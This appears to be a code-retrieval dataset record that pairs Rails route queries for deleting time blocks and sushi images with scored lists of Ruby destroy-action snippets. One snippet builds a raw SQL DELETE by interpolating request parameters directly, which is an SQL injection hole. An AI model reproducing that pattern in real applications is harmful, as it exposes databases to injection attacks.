DELETE /time_blocks/1 DELETE /time_blocks/1.xml
[ { "docid": "c19150c1c1bdf851f34cd72438adb346", "score": "0.73992836", "text": "def destroy\n @time_block = TimeBlock.find(params[:id])\n @time_block.destroy\n\n respond_to do |format|\n format.html { redirect_to(time_blocks_url) }\n format.xml { head :ok }\n end\n end", "title": "" } ]
[ { "docid": "7d4ac0ff5288ec481204fd6f9df1088e", "score": "0.7221098", "text": "def destroy\n @time_block = @shop.time_blocks.find(params[:id])\n @time_block.destroy\n\n respond_to do |format|\n format.html { redirect_to(shop_time_blocks_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "cd165a951d71b63b481761507651d00a", "score": "0.67916393", "text": "def destroy \n Block.connection.execute(\"delete from blocks where id in (#{params[:id].join(',')})\") unless params[:id].blank?\n respond_to do |format|\n format.html { redirect_to(blocks_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "803037bf870c5778ebb5fb8eec2ff2a0", "score": "0.67818075", "text": "def destroy\n @time_block = TimeBlock.find(params[:id])\n @time_block.destroy\n\n respond_to do |format|\n format.html { redirect_to time_blocks_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "227eea3c52e0991731c5ad248111360a", "score": "0.6500288", "text": "def destroy\n @block = Block.find(params[:id])\n @block.destroy\n\n respond_to do |format|\n format.html { redirect_to(blocks_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "5102fcb0f9654d97898b2b82b8773bf7", "score": "0.6482747", "text": "def destroy\n @content_block = ContentBlock.find(params[:id])\n @content_block.destroy\n\n respond_to do |format|\n format.html { redirect_to(content_blocks_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "390e8e2ce3ebccf61cd00f177342fb05", "score": "0.6337053", "text": "def delete(path, &block) end", "title": "" }, { "docid": "390e8e2ce3ebccf61cd00f177342fb05", "score": "0.6337053", "text": "def delete(path, &block) end", "title": "" }, { "docid": "b8f216e5ebb5f03fa8ebdd400ca7ed41", "score": "0.6272403", "text": "def destroy\n @rblock_line = RblockLine.find(params[:id])\n @rblock_line.destroy\n\n respond_to do |format|\n format.html { redirect_to(rblock_lines_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "606024801998ad51a3cca50af08ea421", "score": "0.6111186", "text": "def destroy\n @shedule_block = SheduleBlock.find(params[:id])\n @shedule_block.destroy\n\n respond_to do |format|\n format.html { redirect_to shedule_blocks_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "9c3ecc8045398fe5700bde40b385c185", "score": "0.61092585", "text": "def destroy\n @boleto = Boleto.find(params[:id])\n @block = @boleto.block\n @boleto.destroy\n \n respond_to do |format|\n format.html { redirect_to(@block) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "ec8252a5d424dabfd8b9e5e21017fb2a", "score": "0.6016827", "text": "def destroy\n @ad_block = AdBlock.find(params[:id])\n @ad_block.destroy\n\n respond_to do |format|\n format.html { redirect_to(ad_blocks_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "4ca14b28385524c77d302d55d8f5b1f2", "score": "0.59798753", "text": "def destroy\n @test_time = TestTime.find(params[:id])\n @test_time.destroy\n\n respond_to do |format|\n format.html { redirect_to(test_times_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "b4fd813d941ef43bdfcdb86caee98bc7", "score": "0.5978436", "text": "def destroy\n @schedule_block.destroy\n respond_to do |format|\n format.html { redirect_to schedule_blocks_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "df26116eb86dbadafed7137f9e3c2f9e", "score": "0.5975771", "text": "def delete!\r\n return nil unless exists? \r\n xml = xml_at_top\r\n par = xml.instance_variable_get(:@parent) \r\n par['delete'] = 'delete'\r\n xml_on_delete( xml )\r\n rsp = write_xml_config!( xml.doc.root )\r\n @has[:_exist] = false\r\n true # rsp ... don't return XML, but let's hear from the community...\r\n end", "title": "" }, { "docid": "31e3aca57eac1496456a31c2a4369f5e", "score": "0.59745187", "text": "def destroy\n @block.destroy\n respond_to do |format|\n format.html { redirect_to :root }\n end\n end", "title": "" }, { "docid": "1cea84e986bb00178ee8b74c8839f709", "score": "0.5945503", "text": "def destroy\n @time_box = TimeBox.find(params[:id])\n @time_box.destroy\n\n respond_to do |format|\n format.html { redirect_to(time_boxes_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "c993b50607d7d1e3fb02da75087551b2", "score": "0.59191304", "text": "def unblock(id)\n users(request(\"blocks/destroy/#{id}.xml\", :auth => true, :method => :post)).first\n end", "title": "" }, { "docid": "bfa8ae1e971f57f252a3344a77d0aa2e", "score": "0.5911994", "text": "def destroy\n @content_block = ContentBlock.find(params[:id])\n @content_block.destroy\n\n respond_to do |format|\n format.html { redirect_to content_blocks_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "907812936e06caa54b439301043a4e8a", "score": "0.58979666", "text": "def destroy\n @sub_time = SubTime.find(params[:id])\n @sub_time.destroy\n\n respond_to do |format|\n format.html { redirect_to(sub_times_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "2c21a7a7918fed818f0232c8408739f6", "score": "0.58862054", "text": "def destroy\n @net_block = NetBlock.find(params[:id])\n @net_block.destroy\n\n respond_to do |format|\n format.html { redirect_to net_blocks_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "0c0b2ec21c026600981e168160d4132f", "score": "0.58809537", "text": "def destroy\n @az_project_block = AzProjectBlock.find(params[:id])\n @az_project_block.deleting = true # По этому странному атрибуту страница определяет, что она не должна удалять свои задачи из Redmine\n @az_project_block.save\n @az_project_block.destroy\n\n respond_to do |format|\n format.html { redirect_to(:action => 'index_user') }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "e740112c207ad86b02599729747dfc8b", "score": "0.5872516", "text": "def destroy\n @billtime = Billtime.find(params[:id])\n @billtime.destroy\n\n respond_to do |format|\n format.html { redirect_to(billtimes_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "ba910e4c9336337831edcaa958364da1", "score": "0.5866877", "text": "def destroy\n @block.destroy\n respond_to do |format|\n format.html { redirect_to blocks_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d8a91924ae7a806b5a3b20588171c075", "score": "0.5864644", "text": "def destroy\n @content_block = ContentBlock.find(params[:id])\n @content_block.destroy\n\n respond_to do |format|\n format.html { redirect }\n end\n end", "title": "" }, { "docid": "876cb5ef857fd0be3dc7cc70f159a070", "score": "0.5856473", "text": "def destroy\n @itemblock = Itemblock.find(params[:id])\n @itemblock.destroy\n\n respond_to do |format|\n format.html { redirect_to itemblocks_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "0f0dc0aa98bbd1e82a2d7d2fe64945c5", "score": "0.5836491", "text": "def destroy\n sample = Sample.where(sample_tag: @block.block_tag).first\n sample.update(blocked: false, included: false)\n @block.destroy\n respond_to do |format|\n format.html { redirect_to inform_path(@inf), notice: 'Block was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "a11edc49489e94e858d0e4b0853ebcc8", "score": "0.5821706", "text": "def delete(path, &block)\n replicate(block, :command => \"delete\", :path => path)\n end", "title": "" }, { "docid": "26a81eda6291acd95760aa3f23e44de1", "score": "0.58213025", "text": "def destroy\n @block = Block.find(params[:id])\n @block.destroy\n\n respond_to do |format|\n format.html { redirect_to blocks_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "aa3430a90655ac6949007b5b788eff8d", "score": "0.5812231", "text": "def delete(timestamp); []; end", "title": "" }, { "docid": "b965aa2e76649b84623ed925811f4794", "score": "0.5810203", "text": "def delete(_path)\n end", "title": "" }, { "docid": "4100b1ba27a9a751bb11d54b45e1aeb1", "score": "0.58032024", "text": "def delete(path);end", "title": "" }, { "docid": "4100b1ba27a9a751bb11d54b45e1aeb1", "score": "0.58032024", "text": "def delete(path);end", "title": "" }, { "docid": "aa127653e7861de4caa141638c1c14a2", "score": "0.5798495", "text": "def destroy\n @block.destroy\n respond_to do |format|\n format.html { redirect_to root_path }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "e429127deaa867cd85973187df2bbe0b", "score": "0.5791126", "text": "def destroy\n @block = Block.find(params[:id])\n @page = @block.page\n @section = @page.section\n @block.destroy\n\n respond_to do |format|\n format.html { redirect_to([@section,@page]) }\n format.js { render :js => \"$('.block_#{params[:id]}').remove()\" }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "3f97aa0c19f2354257610be89071af3c", "score": "0.5791028", "text": "def destroy\n @admin_block = Admin::Block.find(params[:id])\n @admin_block.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_blocks_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "49ee633ac77932d2bd635719d8ed49e8", "score": "0.5779823", "text": "def destroy\n @block.destroy\n respond_to do |format|\n format.html { redirect_to root_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d5d934d23f998c6240f4d1b3cbdf140d", "score": "0.57747215", "text": "def destroy\n @track.xml_attachements.each do |xml|\n xml.uploaded_file.file.delete\n end\n @track.destroy\n respond_to do |format|\n format.html { redirect_to tracks_url, notice: 'Le tracé à été supprimé avec succès.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "b276b1c92bfc77a3400e4a978078b141", "score": "0.5757345", "text": "def destroy\n @time_type = TimeType.find(params[:id])\n @time_type.destroy\n\n respond_to do |format|\n format.html { redirect_to(time_types_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "2ee09a528462d8116726fb8a90befb25", "score": "0.57555324", "text": "def delete(ipblock, recursive = false)\n if recursive\n resp = @connection.get(\"host?subnet=#{ipblock}\")\n unless resp.empty?\n resp['Ipblock'].keys.each do |id|\n @connection.delete(\"Ipblock/#{id}\")\n end\n end\n end\n\n sid = find_by_addr(ipblock)\n @connection.delete(\"Ipblock/#{sid}\")\n end", "title": "" }, { "docid": "bcf788f40487df2a84a172278e8248cf", "score": "0.5755497", "text": "def destroy\n check_admin\n @cms_block.destroy\n respond_to do |format|\n format.html { redirect_to cms_blocks_url, notice: 'Cms block was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "cb5acd8e90cf86725e785b9d837e63ae", "score": "0.5752763", "text": "def destroy\n @teaser_block.destroy\n respond_to do |format|\n format.html { redirect_to teaser_blocks_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "16913b70070843a80a12897a991d635f", "score": "0.57413787", "text": "def destroy\n @ip_block = IpBlock.find(params[:id])\n @ip_block.destroy\n\n respond_to do |format|\n format.html { redirect_to ip_blocks_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "3c19ad37d0372ee50bc0e726ba9704ed", "score": "0.5732132", "text": "def destroy\r\n \t@textblock = @step.textblocks.find_by(id: params[:id])\r\n @textblock.destroy\r\n respond_to do |format|\r\n format.html { redirect_to tutorial_step_url(@tutorial, @step), notice: 'Textblock was successfully destroyed.' }\r\n format.json { head :no_content }\r\n end\r\n end", "title": "" }, { "docid": "4d9bf03027f179653ed96cfb332cb346", "score": "0.5726162", "text": "def destroy\n @az_page_az_project_block = AzPageAzProjectBlock.find(params[:id])\n @az_page_az_project_block.destroy\n\n respond_to do |format|\n format.html { redirect_to(az_page_az_project_blocks_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "188c9a61f2d5113138db7080ac3e5772", "score": "0.5711366", "text": "def delete(path, &block)\n request = Net::HTTP::Delete.new(path)\n\n send_request(request, nil, &block)\n end", "title": "" }, { "docid": "82ec1ecf5853360d47e87743346df768", "score": "0.5704059", "text": "def destroy\n @content_block.destroy\n respond_to do |format|\n format.html { redirect_to content_blocks_url, notice: 'Content block was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "4836dd75f83eb0dff6c53759b82fee61", "score": "0.5695318", "text": "def destroy\n @block = Block.find(params[:id])\n @block.destroy\n\n respond_to do |format|\n format.html { redirect_to edit_post_url(@post) }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "a46053e2ff284f584c9f3e829485b5cf", "score": "0.5695092", "text": "def destroy\n @block = Block.find(params[:id])\n if @user_session == @block.user_session\n respond_to do |format|\n format.html { redirect_to(blocks_url) }\n format.xml { head :ok }\n end\n else\n respond_to do |format|\n format.html { redirect_to(blocks_url) }\n format.xml { render :xml => \"you cann't delete\", :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "34f12a05ad55a4d0dc68aa98d1419ee5", "score": "0.56909627", "text": "def destroy\n @timechunk = Timechunk.find(params[:id])\n @timechunk.destroy\n\n respond_to do |format|\n format.html { redirect_to timechunks_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "a116398ebfb98f1e6422246d62f43dfa", "score": "0.5689601", "text": "def delete_hotel_block(hotel_block)\n hotel_blocks.delete(hotel_block)\n end", "title": "" }, { "docid": "67fcdcfdac8ff87ea5e4677bb276a8c5", "score": "0.5685146", "text": "def delete node\n end", "title": "" }, { "docid": "3c6cf675e21e732483b7e2d25bbbac91", "score": "0.5684413", "text": "def destroy\n @command_block = CommandBlock.find(params[:id])\n @command_block.destroy\n\n respond_to do |format|\n format.html { redirect_to command_blocks_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "8aa2a654aae04cefb979fcd0e57fd268", "score": "0.5682039", "text": "def destroy\n @hostel_block.destroy\n respond_to do |format|\n format.html { redirect_to hostel_blocks_url, notice: 'Hostel block was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "2148e2fd9383c12872890f51efee3615", "score": "0.56786036", "text": "def delete\n begin\n task_id = \"#{@file}\".gsub(/\\.\\/singularity\\//, \"\").gsub(/\\.json/, \"\")\n # delete the request\n RestClient.delete \"#{@uri}/api/requests/request/#{task_id}\"\n puts \"#{task_id} DELETED\"\n rescue\n puts \"#{task_id} #{$!.response}\"\n end\n end", "title": "" }, { "docid": "e015b26cf07d521a2ac183a6aba5990f", "score": "0.56765264", "text": "def destroy\n\n @block.destroy\n respond_to do |format|\n format.html { redirect_to blocks_url, notice: \"Block was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "58ec275ea9a5cdf8220fb0c229e11017", "score": "0.567642", "text": "def destroy\n @minute = Minute.find(params[:id])\n @minute.destroy\n\n respond_to do |format|\n format.html { redirect_to(minutes_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "822ddea2e45bf78350003645efcbdb54", "score": "0.56740004", "text": "def delete uri, args = {}; Request.new(DELETE, uri, args).execute; end", "title": "" }, { "docid": "e5399a2cb826177e41dc3b9d16f562e1", "score": "0.5669596", "text": "def destroy\n @xpath = Xpath.find(params[:id])\n @xpath.destroy\n set_site\n respond_to do |format|\n flash[:notice]=\"Field has been removed.\"\n format.html { redirect_to(@site) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "d77900abcf5284b25e017ca150293300", "score": "0.5668403", "text": "def destroy\n @time_unit = TimeUnit.find(params[:id])\n @time_unit.destroy\n\n respond_to do |format|\n format.html { redirect_to(time_units_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "51e124cc65aee5ae7a48babea43389aa", "score": "0.5665032", "text": "def delete_document(xml_document)\n ead_id = xml_document.xpath(\"//eadid\").first.text.strip.tr(\".\", \"-\")\n blacklight_connection.delete_by_id(ead_id)\n end", "title": "" }, { "docid": "fea6c99c428dc506996de5adab63b3ef", "score": "0.56574106", "text": "def destroy\n @time_slot = TimeSlot.find(params[:id])\n @time_slot.destroy\n\n respond_to do |format|\n format.html { redirect_to(time_slots_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "2ca987419ce88e481436b920686573b9", "score": "0.5651466", "text": "def destroy\n @time_entry.destroy\n render status: :ok\n end", "title": "" }, { "docid": "777fbdbb4638e8fab2ac892f1b186849", "score": "0.56478274", "text": "def destroy\n @bracket_node = BracketNode.find(params[:id])\n @bracket_node.destroy\n\n respond_to do |format|\n format.html { redirect_to(bracket_nodes_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "178cc7c3958b25cc4ada84af1883517e", "score": "0.5646815", "text": "def destroy\n @block = Block.find(params[:id])\n @page = @block.col.row.page\n @block.destroy\n\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "40c19081824a1c044d25696f6ae3fee4", "score": "0.5641379", "text": "def destroy\n @transaction_xml = Transaction::Xml.find(params[:id])\n @transaction_xml.destroy\n\n respond_to do |format|\n format.html { redirect_to(transaction_xmls_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "fdb5222e60f67418931a74e6eb7c9a1d", "score": "0.56364954", "text": "def delete\n GoodData.delete(uri)\n end", "title": "" }, { "docid": "370518d69df6275ab806c9e13b6d0596", "score": "0.5635104", "text": "def delete path, category=nil, timeout=nil, &block\n\t\t\trequest 'DELETE', path, category, nil, nil, timeout, &block\n\t\tend", "title": "" }, { "docid": "cff253807839d756dfe3eebb32c5a13b", "score": "0.56325907", "text": "def test_upload_nolatlon_delete\n node = create(:node)\n changeset = create(:changeset)\n\n basic_authorization changeset.user.display_name, \"test\"\n diff = \"<osmChange><delete><node id='#{node.id}' version='#{node.version}' changeset='#{changeset.id}'/></delete></osmChange>\"\n\n # upload it\n content diff\n post :upload, :params => { :id => changeset.id }\n assert_response :success,\n \"can't upload a deletion diff to changeset: #{@response.body}\"\n\n # check the response is well-formed\n assert_select \"diffResult>node\", 1\n\n # check that everything was deleted\n assert_equal false, Node.find(node.id).visible\n end", "title": "" }, { "docid": "d331eeed6dfb3018c394d298f7d5de19", "score": "0.5615434", "text": "def destroy\n @timelost = Timelost.find(params[:id])\n @timelost.destroy\n\n respond_to do |format|\n format.html { redirect_to(timelosts_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "268b62bdfa2d5a169c6a1c4459eaa7de", "score": "0.56151164", "text": "def delete_single\n node.cloudflare_client.rec_delete_single zone, record_name, content, type\nend", "title": "" }, { "docid": "b278ee5fb6810cf77518dddaab8b90dd", "score": "0.56124395", "text": "def destroy\n @clock = Clock.find(params[:id])\n @clock.destroy\n\n respond_to do |format|\n format.html { redirect_to(clocks_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "0b181e8bda693ea80793f2f9a4ab1756", "score": "0.5607863", "text": "def destroy\n @survey_block.destroy\n respond_to do |format|\n format.html { redirect_to survey_blocks_url, notice: 'Survey block was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "9c91d73f306eb3c094c179839b82d709", "score": "0.5607493", "text": "def destroy\n @timeoff_request = TimeoffRequest.find(params[:id])\n @timeoff_request.destroy\n\n respond_to do |format|\n format.html { redirect_to(timeoff_requests_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "fec26b3104e3667b869f982e96afe8ad", "score": "0.5606782", "text": "def delete_at(i)\n @blocks.delete_at(i)\n end", "title": "" }, { "docid": "36887f2b24d31f98fbb51687409e73f6", "score": "0.5605343", "text": "def delete; end", "title": "" }, { "docid": "36887f2b24d31f98fbb51687409e73f6", "score": "0.5605343", "text": "def delete; end", "title": "" }, { "docid": "36887f2b24d31f98fbb51687409e73f6", "score": "0.5605343", "text": "def delete; end", "title": "" }, { "docid": "36887f2b24d31f98fbb51687409e73f6", "score": "0.5605343", "text": "def delete; end", "title": "" }, { "docid": "36887f2b24d31f98fbb51687409e73f6", "score": "0.5605343", "text": "def delete; end", "title": "" }, { "docid": "36887f2b24d31f98fbb51687409e73f6", "score": "0.5605343", "text": "def delete; end", "title": "" }, { "docid": "36887f2b24d31f98fbb51687409e73f6", "score": "0.5605343", "text": "def delete; end", "title": "" }, { "docid": "74921ff2c7d9c67ed00c4cce152632bc", "score": "0.5603181", "text": "def destroy\n @roadblock = Roadblock.find(params[:id])\n @roadblock.destroy\n\n respond_to do |format|\n format.html { redirect_to roadblocks_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "fc2468ff72b56736f986636292b692c8", "score": "0.5592428", "text": "def destroy\n @taskblock = current_user.taskblock.find(params[:id])\n @taskblock.destroy\n respond_to do |format|\n format.html { redirect_to taskblocks_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "fa726454b6d5fb8bceed978f2b7b70da", "score": "0.55883586", "text": "def destroy\n @time_entry = TimeEntry.find(params[:id])\n @time_entry.destroy\n\n respond_to do |format|\n format.html { redirect_to(time_entries_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "fa726454b6d5fb8bceed978f2b7b70da", "score": "0.55883586", "text": "def destroy\n @time_entry = TimeEntry.find(params[:id])\n @time_entry.destroy\n\n respond_to do |format|\n format.html { redirect_to(time_entries_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "51c6bdd8e121665aef98cc9700a1f8b1", "score": "0.558511", "text": "def destroy\n @block.destroy\n respond_to do |format|\n format.html { redirect_to :back }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "f8ee7c46afcded205e58e10ec7cc342f", "score": "0.55769545", "text": "def destroy\n @beat = Beat.find(params[:id])\n @beat.destroy\n\n respond_to do |format|\n format.html { redirect_to(beats_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "f8ee7c46afcded205e58e10ec7cc342f", "score": "0.55769545", "text": "def destroy\n @beat = Beat.find(params[:id])\n @beat.destroy\n\n respond_to do |format|\n format.html { redirect_to(beats_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "e76611e4706c29daccea73c58e650d59", "score": "0.55619866", "text": "def delete(node)\n end", "title": "" }, { "docid": "e9806a318bdc885aba80098a8ddd5e26", "score": "0.55590695", "text": "def destroy\n @count = params[:count].to_i\n 1.upto @count do\n @device.blocks.free.last.destroy\n end\n respond_to do |format|\n format.html { redirect_to devices_url, notice: 'Blocks released' }\n format.json { render json: @device }\n end\n end", "title": "" }, { "docid": "1691790ee2ee34cc8e6be6f7bb8d7f8d", "score": "0.55522776", "text": "def delete\n client.delete uri\n end", "title": "" }, { "docid": "1691790ee2ee34cc8e6be6f7bb8d7f8d", "score": "0.55522776", "text": "def delete\n client.delete uri\n end", "title": "" }, { "docid": "8ce642f6a300833f1e762aacc1dfb733", "score": "0.55521095", "text": "def test_upload_delete\n changeset = create(:changeset)\n super_relation = create(:relation)\n used_relation = create(:relation)\n used_way = create(:way)\n used_node = create(:node)\n create(:relation_member, :relation => super_relation, :member => used_relation)\n create(:relation_member, :relation => super_relation, :member => used_way)\n create(:relation_member, :relation => super_relation, :member => used_node)\n\n basic_authorization changeset.user.display_name, \"test\"\n\n diff = XML::Document.new\n diff.root = XML::Node.new \"osmChange\"\n delete = XML::Node.new \"delete\"\n diff.root << delete\n delete << super_relation.to_xml_node\n delete << used_relation.to_xml_node\n delete << used_way.to_xml_node\n delete << used_node.to_xml_node\n\n # update the changeset to one that this user owns\n %w[node way relation].each do |type|\n delete.find(\"//osmChange/delete/#{type}\").each do |n|\n n[\"changeset\"] = changeset.id.to_s\n end\n end\n\n # upload it\n content diff\n post :upload, :params => { :id => changeset.id }\n assert_response :success,\n \"can't upload a deletion diff to changeset: #{@response.body}\"\n\n # check the response is well-formed\n assert_select \"diffResult>node\", 1\n assert_select \"diffResult>way\", 1\n assert_select \"diffResult>relation\", 2\n\n # check that everything was deleted\n assert_equal false, Node.find(used_node.id).visible\n assert_equal false, Way.find(used_way.id).visible\n assert_equal false, Relation.find(super_relation.id).visible\n assert_equal false, Relation.find(used_relation.id).visible\n end", "title": "" }, { "docid": "7e54323b46730a7336ffabbb52924d67", "score": "0.5550446", "text": "def remove_teacher_timeslot(application,command)\n index = command.get_attribute('index')\n data_manager = application.get_data_manager\n data_manager.remove_teacher_timeslot(index)\n doc = REXML::Document.new\n doc.add_element('OK')\n return doc\n end", "title": "" }, { "docid": "b9d1a5dc5c944dfdef016c342183e812", "score": "0.55497843", "text": "def destroy\n @scrap_xml = ScrapXml.find(params[:id])\n @scrap_xml.destroy\n\n respond_to do |format|\n format.html { redirect_to(scrap_xmls_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "daa270078ec9cb4cb6f44d5e1374e4d3", "score": "0.5546314", "text": "def destroy\n results = []\n\n node = client(resource).node(resource[:config_node_path], resource[:config_node_name])\n results.push(call_with_readiness_check(node, 'delete', [], resource))\n\n saml = client(resource).saml\n results.push(call_with_readiness_check(saml, 'delete', [], resource))\n\n handle_multi(results)\n end", "title": "" }, { "docid": "d11d94c8cf313fa1a4d108d2b44ba9d2", "score": "0.55403256", "text": "def destroy\n @user_block = UserBlock.find(params[:id])\n @user_block.destroy\n\n respond_to do |format|\n format.html { redirect_to user_blocks_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1b192728ae34010684ef86628ec8fd83", "score": "0.5539917", "text": "def delete(path)\n node = node_for_path(path)\n node.delete\n\n (parent,) = Tilia::Http::UrlUtil.split_path(path)\n mark_dirty(parent)\n end", "title": "" }, { "docid": "1a98c1a132ea744f0e5e7acf341f1bec", "score": "0.5532838", "text": "def destroy\n @workout_block.destroy\n\n respond_to do |format|\n format.html { redirect_to programs_path }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "b0f4029174e54eed754804fda103bcb6", "score": "0.5525072", "text": "def destroy\n @part.destroy rescue flash[:notice] = 'No se puede borrar el bloque'\n\n respond_to do |format|\n format.html { redirect_to(signature_parts_url(@signature, :ordinary=>@ordinary, :parent_id=>@parent)) }\n format.xml { head :ok }\n end\n end", "title": "" } ]
24aa395a47219de8a0dcb3c44ad8149a
DELETE /sushi_images/1 DELETE /sushi_images/1.xml
[ { "docid": "9253bb05ef779bec8ba9d93c6deb7dcf", "score": "0.7338501", "text": "def destroy\n @sushi_image = SushiImage.find(params[:id])\n @sushi_image.destroy\n\n respond_to do |format|\n format.html { redirect_to(sushi_images_url) }\n format.xml { head :ok }\n end\n end", "title": "" } ]
[ { "docid": "e33f242b37af43369183ed6142762c65", "score": "0.74600405", "text": "def destroy\n @image = Image.find(params[:id])\n @image.destroy\n @image.delete_img(@image.name)\n \n respond_to do |format|\n format.html { redirect_to(images_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "e0f0485a7dd0b1b473758f019f0d45d9", "score": "0.6998132", "text": "def destroy\n @image = Image.find(params[:id])\n @image.destroy\n\n respond_to do |format|\n format.html { redirect_to(images_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "5c53bdf3f55656e01eb20b357d937459", "score": "0.6971417", "text": "def destroy\n @image = Image.find(params[:id])\n @image.destroy\n\n respond_to do |format|\n format.html { redirect_to(images_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "5c53bdf3f55656e01eb20b357d937459", "score": "0.6971417", "text": "def destroy\n @image = Image.find(params[:id])\n @image.destroy\n\n respond_to do |format|\n format.html { redirect_to(images_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "5c53bdf3f55656e01eb20b357d937459", "score": "0.6971417", "text": "def destroy\n @image = Image.find(params[:id])\n @image.destroy\n\n respond_to do |format|\n format.html { redirect_to(images_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "5c53bdf3f55656e01eb20b357d937459", "score": "0.6971417", "text": "def destroy\n @image = Image.find(params[:id])\n @image.destroy\n\n respond_to do |format|\n format.html { redirect_to(images_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "6467f771b1373852373c5f9ad4658329", "score": "0.6962177", "text": "def destroy\n @image = @site.images.find(params[:id])\n @image.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_site_images_url(@site)) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "a5fffbb6673f06399416006c4837be58", "score": "0.6950315", "text": "def destroy\n @image = Image.find(params[:id])\n begin\n File.delete(Rails.root.join('public', 'images', @image.name))\n rescue\n logger.warning \"Unable to delete file @{image.name}\"\n end\n @image.destroy\n\n respond_to do |format|\n format.html { redirect_to(images_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "2f7830f5845c7566b9b80ae39815da8a", "score": "0.6930546", "text": "def destroy\n @myimage = Myimage.get(params[:id])\n \n if File.exist?(@myimage.image_path + @myimage.image_filename)\n \t File.delete(@myimage.image_path + @myimage.image_filename) #original image file\n File.delete(@myimage.image_path + @myimage.image_thumb_filename) #thumbnail image file \t \n \tend\n \t\n @myimage.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_myimages_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "2f7830f5845c7566b9b80ae39815da8a", "score": "0.6930546", "text": "def destroy\n @myimage = Myimage.get(params[:id])\n \n if File.exist?(@myimage.image_path + @myimage.image_filename)\n \t File.delete(@myimage.image_path + @myimage.image_filename) #original image file\n File.delete(@myimage.image_path + @myimage.image_thumb_filename) #thumbnail image file \t \n \tend\n \t\n @myimage.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_myimages_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "d56949fe7cce541b8e2f4424089f5f14", "score": "0.69047046", "text": "def destroy\n @image = @post.images.find(params[:id])\n @image.destroy\n\n respond_to do |format|\n format.html { redirect_to(images_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "baf17f1e881919d804874b54d7552004", "score": "0.68739516", "text": "def destroy\n @image = Image.find(params[:id])\n \n imagen = @image.filename\n \n #function in manage_images.rb\n remove_image_file(imagen)\n\n @image.destroy\n\n respond_to do |format|\n format.html { redirect_to root_url }\n format.json { head :ok }\n end\n end", "title": "" }, { 